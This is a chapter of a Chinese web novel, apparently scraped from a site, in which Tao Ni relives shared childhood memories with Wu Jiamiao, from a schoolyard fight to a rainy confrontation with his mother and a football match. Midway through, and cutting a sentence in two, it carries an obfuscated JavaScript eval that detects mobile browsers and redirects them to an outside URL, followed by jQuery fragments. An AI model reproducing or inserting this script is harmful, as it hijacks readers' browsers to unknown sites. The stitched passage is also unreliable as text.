6.[Day 3]

作品:《在晨雾散去之前

    陶旎其实记不太清那时的细节。


    只记得,赖于和吴嘉淼妈妈的交情日趋笃厚,加上陶妈本身旺盛的责任心,那些年,吴嘉淼不仅是家里饭桌常客,并且为了方便照顾,陶妈向吴嘉淼妈妈提议,让两个孩子读同一所小学。


    吴嘉淼妈妈自然一万个愿意,转而给陶妈送来一套昂贵的护肤品,每逢年节的礼物和平日里的时令珍稀水果更是不少。


    陶妈有点不高兴,她是可怜这个孤独内向的孩子,看到了就不能不管,不为回报,她只是让自己安心。


    吴嘉淼妈妈回复了同样的话:也不知道嘉淼是怎么了,越来越少跟我讲话,恨不得连家都不回。难得他依赖你,姐,你收着吧,我也是为了安心。


    ......


    读完小学,到了初中。


    陶旎和吴嘉淼仍在同一所学校,同一个班级。


    陶旎眼中的吴嘉淼除了窜起个子,肢体和眉眼间有了些少年人的清俊舒展,和从前也没什么不同。性格还是一样,在学校时,独处远比与人相伴的时间多得多。


    年级里大家相传的“吴嘉淼是拽脸帅哥”“越拽越帅”相关言论,陶旎听见过,还认认真真评判过一番,帅,尚算客观,但是这个拽,陶旎认为也分对象。


    吴嘉淼对她很拽,对所有同学老师都很拽,但在家里,她亲眼见到吴嘉淼凑到厨房对妈妈说“阿姨,你辛苦了,我帮你刷碗。”,那态度堪称谄媚,这使得陶旎有很长一段时间看吴嘉淼不顺眼。


    好像她才是这个家的外人。


    陶旎每天晚上放学的流程是,赶在最后一节课结束前把作业卷子写完,迅速收拾书包,和好朋友去小卖部买个零食填填肚子,对今日校内八卦及所见所闻发表锐评,再去校门口的精品文具店或书店逛一逛,就某本小说漫画的更新激烈讨论一番,最后才恋恋不舍地告别。


    往往结束这一套流程后,吴嘉淼已经在回家方向的路口等她了。


    秋天的夜晚来得早,他们并排往家走,一般会赶上路口的第一盏灯亮起。灯光和月光一起洒下来,他们同沐其中,却谁也不说话。


    吴嘉淼是没话可说。


    至于陶旎,她刚讲太多,已力竭。


    这样的日子过了两年,初三的时候,有些微改变。


    学校响应号召,重视体育健康,要组校足球队,吴嘉淼被体育老师喊去,补了个缺。


    校队每晚放学后在球场训练,陶旎在书店门口和好朋友分别后,吴嘉淼那边往往还没结束,她需要站在栏杆外,朝着绿茵场上大喊:“吴嘉淼!”


    无需多言,吴嘉淼听到后便会和队友打声招呼,拎起外套和双肩包,对她指指校门口。


    ......


    回到家,陶妈的晚饭已然端上桌。


    因为两个孩子都长身体,家里的菜式更新换代,升级得非常夸张。


    陶旎对锅里是莲藕排骨汤而不是她喜欢的番茄鸡蛋汤一事很是不满,一转头,妈妈就把长得最漂亮标准的一块排骨捞进了吴嘉淼的碗。


    她当晚只吃白饭表达抗议。


    妈妈看到了,一边骂她,一边把番茄炒鸡蛋往她面前挪。


    “原来嘉淼不但学习成绩好,在体育上也有天赋,告诉你妈妈一声,她是不是还没看过你踢球?”


    陶旎没听出话中重点,只顾着表达不忿了:“怎么不夸我?我还是班长呢。”


    陶妈很是恨铁不成钢:“要不是我逼着你参加竞选,陪你熬几个晚上准备演讲稿,你能选上?学习一般般,集体活动也不积极,你哪怕有个兴趣爱好也行呀?一点不上进。”


    陶旎险些气昏倒。


    “最后一年了,两个小祖宗,马上中考,好好努力,尤其是你。”陶妈为陶旎加油打气,然后又问吴嘉淼,“我听说你妈妈想让你去读国际学校?”


    “是。”


    吴嘉淼将筷子放下,不论什么菜,他的碗周永远干干净净。


    “好,这多好。你妈妈是为你好,以后你会有出息的。”


    ......


    好好好。


    陶旎都快不认识“好”这个字了。


    吴嘉淼什么都好,什么都从容,什么都优秀。


    十几岁,自尊心最不容侵犯的那几年,陶旎觉得自己无时无刻活在吴嘉淼的阴影下,简直命苦。


    别的竞争都不够直接,不够有明显对比,唯有成绩。


    因此陶旎在初三伊始便表现出了超乎往常的学习热情,手机不玩了,小说漫画不追了,全心全意,只为打脸吴嘉淼。


    这是属于陶旎的少女心事。


    除此之外,如若吴嘉淼在其他事情上丢脸,陶旎倒也是乐见其成的。


    比如家长会时他空着的座位。


    比如学校通知单上他模仿爸妈笔迹的签名,被老师发现。


    学校有人传,吴嘉淼家里非常有钱,虽然大家平时吃穿拉不开差距,上千块的球鞋学校里也不只有他穿,但他平时只用二十几块一支的进口中性笔,消耗品才能真正说明贫富差别。


    有人反驳说算了吧,我爸认识他爸,确切地说,是他后爸。做生意的男人不都那样?天天换小老婆,吴嘉淼他妈不知道是第多少任,结婚证都没领。


    还有人将矛头指向陶旎,说吴嘉淼为什么每天都和陶旎一起走?谈恋爱吗?还是亲戚?


    有人回应,屁哦,陶旎身穿abibas还穷乐呢,哪里像是吴嘉淼的亲戚,就算是,也是他妈那边的亲戚。不过话说,陶旎最近几次考试怎么成绩追得这么快,是不是提前知道题了?给老师送礼了吧,说真的,那班长就不该她当,谁知道搞了些什么见不得人的,上次我还看她放学偷偷去办公室,然后......


    然后。


    嗵。


    一向在学校不冒尖不出头,别说打架,连脏话都没说过的陶旎同学,以一记帅气的左勾拳,把正在讲述校园秘辛的男同学脸打肿了。


    也把来之不易的班长职务给打丢了。


    陶旎回家嚎啕了一晚上。


    第二天一早,看见吴嘉淼在家楼下等她。


    “早饭你也要来蹭???你家不是有保姆吗?或者出去买个牛奶面包不好吗???”陶旎挡住自己的肿眼泡。


    她往左,吴嘉淼也往左。


    她往右,吴嘉淼也跟上。


    烦死了。


    “跟你道个歉。”男生嗓音沉沉,“对不起,有些风言风语,连累你了。”


    陶旎心说你知道连累我就离我远点,别来我家了,把我妈还给我,可是抬眼,看到男生清瘦身形和微敛目光,难听的话到底是没说出口。


    就当行善积德了。


    陶旎这样想。


    去学校的路上,她战战兢兢,很怕到了学校老师会勒令她给那男同学道歉,可真实情况是,那男同学一连一个星期都没来上学。


    据说是那天放学后,吴嘉淼把他另外半张脸也打肿了。


    一周以后,陶旎收到了男同学的短信,内容简短:我错了,我嘴贱,你让吴嘉淼别天天晚上堵我了行么?


    ......


    此次事件罪责划分明确,陶旎除了没忍住,实施了暴力,其他都是无妄之灾。虽然如此,陶旎还是莫名觉察出自己心态的变化。


    或许是因为共同的敌人把两个人推入了同一个战壕,又或许是她换位思考后发现,如若是她处在吴嘉淼的处境,有那样的家庭,估计也会性格孤僻,每天拽拽的,懒得理人,但如若碰到真正关心自己的长辈,就想靠近。


    这是本能。


    总之,因为理解,所以她没有那么讨厌吴嘉淼了。


    初三的日子像开了倍速。


    关于吴嘉淼的风言风语也随之很快成了飞烟。


    陶旎和吴嘉淼的关系再一次拉近,也是和吴嘉淼的妈妈有关。


    关于这件事,陶旎倒是记得很清楚。


    那是临近中考的春天了。


    学校开运动会,初三学生不报项目,只当观众,除了吴嘉淼他们的足球队。因为队里大多数是体育生,比赛机会难得,且重要,因此邀请邻校来比一场友谊赛,声势浩大。


    运动会的前一天晚上放学,刚巧下了暴雨,就在所有人都担忧明天运动会能否照常举行时,一辆昂贵的黑色轿车停在校门口。


    陶旎当晚没在球场冒雨训练的身影中找到吴嘉淼,却在走出校门时,看到吴嘉淼站在那辆黑车边,浑身早已淋了个透。


    吴嘉淼的妈妈站在司机撑的伞下,正说着什么,大概是被吴嘉淼油盐不进的冷漠态度逼急了,一巴掌甩在吴嘉淼脸上,随即侧身痛哭。


    校门口站了不少人。


    风也不急了,雨也不凶了,大家都想看看这难得一遇的狗血大戏,无聊的学习生活里,从天而降一个爆米花桶,这谁能错过。


    陶旎没带伞,也被雨淋了,这场雨大概是有什么使人冲动的化学成分,等她反应过来,自己已经跑到吴嘉淼妈妈面前了。


    但她没有站进那把伞里。


    “阿姨你好。”陶旎笑得人畜无害。


    吴嘉淼妈妈自然是认得陶旎的,自觉失态,朝陶旎笑笑,说了句:“你劝劝他吧。等有空我去看你妈妈。”


    然后便躲进车内。


    弯腰的一霎,陶旎看见了女人隆起的小腹。


    黑色轿车载着她很快消失在雨里。


    “哎,倒是把伞留给我们啊!这怎么回家?”


    陶旎无语,转身抬头,先看到的是吴嘉淼脸上的巴掌印。


    随即,两只落汤鸡视线对上,憋了一秒,两秒,竟同时笑出来。


    陶旎忽然意识到时光的力量,经过了这些年,吴嘉淼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542101|203770||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    已经不会再让不重要的人影响他的生活了。


    “你妈妈找你干嘛?”


    “两件事,”吴嘉淼将双肩包里的校服外套抽出来,罩在陶旎脑袋上,然后把她往路边揽了下,“带我去改名字,改成跟她现在老公姓。因为她这次怀的是个女孩。”


    陶旎震惊。


    “第二件呢?”


    “第二件,找班主任谈话,让我退出足球队,少参加集体活动,因为马上初三了,怕我影响学习,国际学校要这一年成绩单。”


    “马上初三?”陶旎懵着,“你穿越了?你初三都快念完了大哥。”


    吴嘉淼笑了,是毫无心理波动,单纯觉得好玩的笑容:“她都忘了我今年究竟几年级。”


    -


    ......


    真的是很多很多年前的事了。


    太过久远,久远到陶旎已经忘了那天的雨水到底有多么汹涌,以至于当晚,她着凉,重感冒。


    但借由吴嘉淼的记忆,这场雨的温度、气味、在皮肤上的质感,都被完完全全真实地复刻了,就连雨水在空中落下的姿态都裸眼可见。


    从吴嘉淼的视角,还可以看到雨滴没入她的后颈,以及她脑袋顶上,发间小小的旋儿。


    ......


    一段回忆结束,陶旎从其中抽身时,非常想发出感慨。


    这哪里是VR,应该是全息。


    意识回笼。


    唰唰的雨声。


    其实是吴嘉淼在清洗碗碟。


    雨滴击打小水洼,啵啵的声响。


    其实是洗洁精鼓起一个又一个泡泡。


    陶旎深呼吸。


    从吴嘉淼视角看到的,运动会当天,自己站在看台人群里,脸上画着夸张搞笑的涂鸦,其实是学人家画的竖起大拇指的图案。


    她口中大喊着吴嘉淼的名字。


    吴嘉淼加油,吴嘉淼加油,吴嘉淼加油。


    喊到后来,嘴巴不听使唤了,就剩下尖叫了。


    “所以那场运动会你赢了吗?太久了,我好像忘记了......我只记得我跟我妈大吵一架,她看我第二天早上没退烧,要给我请假,但我偏要去看你比赛,因为我怕别人都有人欢呼,你只有自己,人缘儿又差,怪可怜的......”


    【赢了。】


    吴嘉淼的声音很低,搅在流水声里。


    “哦。”


    ......


    陶旎的思绪还沉浸在刚刚的回忆中。


    回忆的后半段,已经是比赛结束后了。


    更衣室里,队友打趣:“吴嘉淼,你班女同学够凶的啊,我还以为她举了喇叭在喊......太牛了,嗓子都喊劈了吧。”


    吴嘉淼坐在椅子上,掀起衣服来擦汗。


    直到体育老师路过,他急急站起。


    “老师。”


    “怎么了?”


    “下个月如果市里有比赛,我还是想参加。”


    “你马上中考了,能行么?”


    借由第一视角,陶旎看到吴嘉淼点了点头。


    “好吧。”体育老师拍了拍手,示意更衣室里的男孩子们看过来:“都过来!我说一下,下个月市里比赛,要重新订做球衣了,一会儿填下表格,写名字和号码。我警告你们啊,嘻嘻哈哈的,最好写本名,要印在球衣后面的,别搞些什么绰号啊网名啊二次元啊,本来想宣传的,结果电视台来拍完素材都播不出去,丢死人了,要展现我们初中生精神风貌!听到没有!”


    “听到了!”


    男孩子们懒洋洋的。


    吴嘉淼最后一个接过表格。


    看一眼上面一列名字,就知道老师说的话又被当成了耳旁风,别说二次元了,最长的写了十一个字,非常炫酷,还有字符。


    吴嘉淼面无表情,写下了一行简短的英文——Tony。


    几秒后,又将其涂黑,涂得严严实实,变成了黑色的方块,而后端正写上了自己的名字。


    ......


    ......


    已经过了零点。


    是第三天了。


    吴嘉淼忽然重新出现在她生活里的,第三天。


    陶旎坐在沙发上,望见阳台衣架上晾着的白色毛衣。


    中午溅上的那一滴难洗的面汤已经被吴嘉淼洗干净了,一点印子都寻不见了。


    “喂,吴嘉淼。”


    【嗯。】


    屋子里很安静,安静得可以听见夜晚的脉搏。


    陶旎张了张嘴,并没有发出声音。


    一来不想打破这安静的夜,二来,她不知怎么问出口。


    她想问吴嘉淼,那时候干嘛要写她的名字?


    以及,更衣室里,他盯着那个黑色方块看了很久很久。


    那漫长的时间里,他究竟在想些什么?